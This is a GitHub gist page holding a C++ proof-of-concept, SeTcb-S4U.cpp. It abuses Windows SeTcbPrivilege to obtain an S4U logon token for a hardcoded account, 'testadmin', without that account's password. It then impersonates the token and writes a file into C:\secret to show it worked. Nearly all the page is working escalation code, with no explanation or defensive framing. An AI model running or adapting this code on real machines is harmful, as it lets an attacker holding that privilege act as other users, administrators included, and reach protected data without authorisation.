Created
July 10, 2020 19:38
-
-
Save micahvandeusen/42e2fd3338499f02d259715fb0c98949 to your computer and use it in GitHub Desktop.
SeTcb-S4U.cpp
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
#include <Ntsecapi.h> | |
#include <sddl.h> | |
#include <stdio.h> | |
#include <tchar.h> | |
#include <Lm.h> | |
#include <assert.h> | |
#include <TlHelp32.h> | |
#include <string> | |
#pragma comment(lib, "secur32.lib") | |
#define STATUS_SUCCESS 0 | |
#define EXTRA_SID_COUNT 2 | |
typedef struct _MSV1_0_SET_OPTION { | |
MSV1_0_PROTOCOL_MESSAGE_TYPE MessageType; | |
DWORD dwFlag; | |
BOOL bUnset; | |
} MSV1_0_SET_OPTION, *PMSV1_0_SET_OPTION; | |
HANDLE g_hHeap; | |
BOOL | |
GetLogonSID ( | |
_In_ HANDLE hToken, | |
_Out_ PSID *pLogonSid | |
) | |
{ | |
BOOL bSuccess = FALSE; | |
DWORD dwIndex; | |
DWORD dwLength = 0; | |
PTOKEN_GROUPS pTokenGroups = NULL; | |
// | |
// Get required buffer size and allocate the TOKEN_GROUPS buffer. | |
// | |
if (!GetTokenInformation( | |
hToken, | |
TokenGroups, | |
(LPVOID)pTokenGroups, | |
0, | |
&dwLength | |
)) | |
{ | |
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) | |
{ | |
fprintf(stderr, "GetTokenInformation failed (error: %u).\n", GetLastError()); | |
goto Error; | |
} | |
pTokenGroups = (PTOKEN_GROUPS)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwLength); | |
if (pTokenGroups == NULL) | |
goto Error; | |
} | |
// | |
// Get the token group information from the access token. | |
// | |
if (!GetTokenInformation( | |
hToken, | |
TokenGroups, | |
(LPVOID)pTokenGroups, | |
dwLength, | |
&dwLength | |
)) | |
{ | |
fprintf(stderr, "GetTokenInformation failed (error: %u).\n", GetLastError()); | |
goto Error; | |
} | |
// | |
// Loop through the groups to find the logon SID. | |
// | |
for (dwIndex = 0; dwIndex < pTokenGroups->GroupCount; dwIndex++) | |
if ((pTokenGroups->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID) | |
{ | |
// | |
// Found the logon SID: make a copy of it. | |
// | |
dwLength = GetLengthSid(pTokenGroups->Groups[dwIndex].Sid); | |
*pLogonSid = (PSID)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwLength); | |
if (*pLogonSid == NULL) | |
goto Error; | |
if (!CopySid(dwLength, *pLogonSid, pTokenGroups->Groups[dwIndex].Sid)) | |
{ | |
goto Error; | |
} | |
break; | |
} | |
bSuccess = TRUE; | |
Error: | |
if (bSuccess == FALSE) | |
{ | |
if (*pLogonSid != NULL) | |
HeapFree(g_hHeap, 0, *pLogonSid); | |
} | |
if (pTokenGroups != NULL) | |
HeapFree(g_hHeap, 0, pTokenGroups); | |
return bSuccess; | |
} | |
// | |
// Set/Unset privilege. | |
// | |
BOOL | |
SetPrivilege ( | |
_In_ HANDLE hToken, | |
_In_z_ LPCTSTR lpszPrivilege, | |
_In_ BOOL bEnablePrivilege | |
) | |
{ | |
TOKEN_PRIVILEGES tp; | |
LUID luid; | |
if (!LookupPrivilegeValue( | |
NULL, // lookup privilege on local system | |
lpszPrivilege, // privilege to lookup | |
&luid)) // receives LUID of privilege | |
{ | |
fprintf(stderr, "LookupPrivilegeValue failed (error: %u).\n", GetLastError()); | |
return FALSE; | |
} | |
tp.PrivilegeCount = 1; | |
tp.Privileges[0].Luid = luid; | |
if (bEnablePrivilege) | |
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
else | |
tp.Privileges[0].Attributes = 0; | |
// | |
// Enable the privilege or disable all privileges. | |
// | |
if (!AdjustTokenPrivileges( | |
hToken, | |
FALSE, | |
&tp, | |
sizeof(TOKEN_PRIVILEGES), | |
(PTOKEN_PRIVILEGES)NULL, | |
(PDWORD)NULL)) | |
{ | |
fprintf(stderr, "AdjustTokenPrivileges failed (error: %u).\n", GetLastError()); | |
return FALSE; | |
} | |
else | |
{ | |
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) | |
{ | |
fprintf(stderr, "The token does not have the specified privilege (%S).\n", lpszPrivilege); | |
return FALSE; | |
} | |
else | |
{ | |
printf("AdjustTokenPrivileges (%S): OK\n", lpszPrivilege); | |
} | |
} | |
return TRUE; | |
} | |
VOID | |
InitLsaString ( | |
_Out_ PLSA_STRING DestinationString, | |
_In_z_ LPSTR szSourceString | |
) | |
{ | |
USHORT StringSize; | |
StringSize = (USHORT)strlen(szSourceString); | |
DestinationString->Length = StringSize; | |
DestinationString->MaximumLength = StringSize + sizeof(CHAR); | |
DestinationString->Buffer = (PCHAR)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, DestinationString->MaximumLength); | |
if (DestinationString->Buffer) | |
{ | |
memcpy(DestinationString->Buffer, szSourceString, DestinationString->Length); | |
} | |
else | |
{ | |
memset(DestinationString, 0, sizeof(LSA_STRING)); | |
} | |
} | |
PBYTE | |
InitUnicodeString ( | |
_Out_ PUNICODE_STRING DestinationString, | |
_In_z_ LPWSTR szSourceString, | |
_In_ PBYTE pbDestinationBuffer | |
) | |
{ | |
USHORT StringSize; | |
StringSize = (USHORT)wcslen(szSourceString) * sizeof(WCHAR); | |
memcpy(pbDestinationBuffer, szSourceString, StringSize); | |
DestinationString->Length = StringSize; | |
DestinationString->MaximumLength = StringSize + sizeof(WCHAR); | |
DestinationString->Buffer = (PWSTR)pbDestinationBuffer; | |
return (PBYTE)pbDestinationBuffer + StringSize + sizeof(WCHAR); | |
} | |
void GetUser() | |
{ | |
TCHAR buffer[64]; | |
DWORD k = 64; | |
GetUserName(buffer, &k); | |
printf("[i] User: %S\n", buffer); | |
} | |
int | |
_tmain ( | |
_In_ int argc, | |
_In_ TCHAR *argv[] | |
) | |
{ | |
BOOL bResult; | |
NTSTATUS Status; | |
NTSTATUS SubStatus; | |
HANDLE hLsa = NULL; | |
HANDLE hProcess = NULL; | |
HANDLE hToken = NULL; | |
HANDLE hTokenS4U = NULL; | |
OSVERSIONINFO osvi; | |
BOOL bIsLocal = TRUE; | |
LSA_STRING Msv1_0Name = { 0 }; | |
LSA_STRING OriginName = { 0 }; | |
PMSV1_0_S4U_LOGON pS4uLogon = NULL; | |
TOKEN_SOURCE TokenSource; | |
ULONG ulAuthenticationPackage; | |
DWORD dwMessageLength; | |
PBYTE pbPosition; | |
PROCESS_INFORMATION pi = { 0 }; | |
STARTUPINFO si = { 0 }; | |
PTOKEN_GROUPS pGroups = NULL; | |
PSID pLogonSid = NULL; | |
PVOID pvProfile = NULL; | |
DWORD dwProfile = 0; | |
LUID logonId = { 0 }; | |
QUOTA_LIMITS quotaLimits; | |
LPTSTR szDomain = TEXT("."); | |
LPTSTR szUsername = TEXT("testadmin"); | |
TCHAR seps[] = TEXT("\\"); | |
TOKEN_MANDATORY_LABEL TIL = { 0 }; | |
g_hHeap = GetProcessHeap(); | |
// | |
// Get OS version | |
// | |
ZeroMemory(&osvi, sizeof(OSVERSIONINFO)); | |
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); | |
#pragma warning(suppress : 4996; suppress : 28159) | |
bResult = GetVersionEx(&osvi); | |
if (bResult == FALSE) | |
{ | |
fprintf(stderr, "GetVersionEx failed (error %u).", GetLastError()); | |
goto End; | |
} | |
// | |
// Activate the TCB privilege | |
// | |
hProcess = GetCurrentProcess(); | |
OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken); | |
if (!SetPrivilege(hToken, SE_TCB_NAME, TRUE)) | |
{ | |
goto End; | |
} | |
// | |
// Get logon SID | |
// | |
if (!GetLogonSID(hToken, &pLogonSid)) | |
{ | |
fprintf(stderr, "Unable to find logon SID.\n"); | |
goto End; | |
} | |
// | |
// Connect (Untrusted) to LSA | |
// | |
Status = LsaConnectUntrusted(&hLsa); | |
if (Status!=STATUS_SUCCESS) | |
{ | |
fprintf(stderr, "LsaConnectUntrusted failed (error 0x%x).", Status); | |
hLsa = NULL; | |
goto End; | |
} | |
// | |
// Lookup for the MSV1_0 authentication package (NTLMSSP) | |
// | |
InitLsaString(&Msv1_0Name, MSV1_0_PACKAGE_NAME); | |
Status = LsaLookupAuthenticationPackage(hLsa, &Msv1_0Name, &ulAuthenticationPackage); | |
if (Status!=STATUS_SUCCESS) | |
{ | |
fprintf(stderr, "LsaLookupAuthenticationPackage failed (error 0x%x).", Status); | |
hLsa = NULL; | |
goto End; | |
} | |
// | |
// Create MSV1_0_S4U_LOGON structure | |
// | |
dwMessageLength = (DWORD)sizeof(MSV1_0_S4U_LOGON) + (EXTRA_SID_COUNT + (DWORD)wcslen(szDomain) + (DWORD)wcslen(szUsername)) * sizeof(WCHAR); | |
pS4uLogon = (PMSV1_0_S4U_LOGON)HeapAlloc(g_hHeap, HEAP_ZERO_MEMORY, dwMessageLength); | |
if (pS4uLogon == NULL) | |
{ | |
fprintf(stderr, "HeapAlloc failed (error %u).", GetLastError()); | |
goto End; | |
} | |
pS4uLogon->MessageType = MsV1_0S4ULogon; | |
pbPosition = (PBYTE)pS4uLogon + sizeof(MSV1_0_S4U_LOGON); | |
pbPosition = InitUnicodeString(&pS4uLogon->UserPrincipalName, szUsername, pbPosition); | |
pbPosition = InitUnicodeString(&pS4uLogon->DomainName, szDomain, pbPosition); | |
// | |
// Misc | |
// | |
strcpy_s(TokenSource.SourceName, TOKEN_SOURCE_LENGTH, "User32"); | |
InitLsaString(&OriginName, "S4U for Windows"); | |
AllocateLocallyUniqueId(&TokenSource.SourceIdentifier); | |
// | |
// Call LSA LsaLogonUser | |
// | |
// This call required SeTcbPrivilege privilege: | |
// - [1] to get a primary token (vs impersonation token). The privilege MUST be activated. | |
// - [2] to add supplemental SID with LocalGroups parameter. | |
// - [3] to use a username with a domain name different from machine name (or '.'). | |
// | |
Status = LsaLogonUser( | |
hLsa, | |
&OriginName, | |
Network, | |
ulAuthenticationPackage, | |
pS4uLogon, | |
dwMessageLength, | |
pGroups, | |
&TokenSource, | |
&pvProfile, | |
&dwProfile, | |
&logonId, | |
&hTokenS4U, | |
"aLimits, | |
&SubStatus | |
); | |
if (Status != STATUS_SUCCESS) | |
{ | |
printf("LsaLogonUser failed (error 0x%x).\n", Status); | |
goto End; | |
} | |
HANDLE cthread = GetCurrentThread(); | |
if (SetThreadToken(&cthread, hTokenS4U) == 0) { | |
printf("SetThreadToken fail! %d\n", GetLastError()); | |
} | |
else { | |
printf("Successfully impersonated S4U...\n"); | |
GetUser(); | |
char DataBuffer[] = "This is written using SeTcbPrivilege"; | |
DWORD dwBytesToWrite = (DWORD)strlen(DataBuffer); | |
DWORD dwBytesWritten = 0; | |
HANDLE hFile = CreateFile(L"C:\\secret\\setcb.txt", | |
GENERIC_WRITE, | |
0, | |
NULL, | |
CREATE_NEW, | |
FILE_ATTRIBUTE_NORMAL, | |
NULL); | |
WriteFile( | |
hFile, | |
DataBuffer, | |
dwBytesToWrite, | |
&dwBytesWritten, | |
NULL); | |
} | |
goto End; | |
End: | |
// | |
// Free resources | |
// | |
if (Msv1_0Name.Buffer) | |
HeapFree(g_hHeap, 0, Msv1_0Name.Buffer); | |
if (OriginName.Buffer) | |
HeapFree(g_hHeap, 0, OriginName.Buffer); | |
if (pLogonSid) | |
HeapFree(g_hHeap, 0, pLogonSid); | |
if (pS4uLogon) | |
HeapFree(g_hHeap, 0, pS4uLogon); | |
if (pGroups) | |
HeapFree(g_hHeap, 0, pGroups); | |
if (pvProfile) | |
LsaFreeReturnBuffer(pvProfile); | |
if (hLsa) | |
LsaClose(hLsa); | |
if (hToken) | |
CloseHandle(hToken); | |
if (hTokenS4U) | |
CloseHandle(hTokenS4U); | |
if (pi.hProcess) | |
CloseHandle(pi.hProcess); | |
if (pi.hThread) | |
CloseHandle(pi.hThread); | |
return EXIT_SUCCESS; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment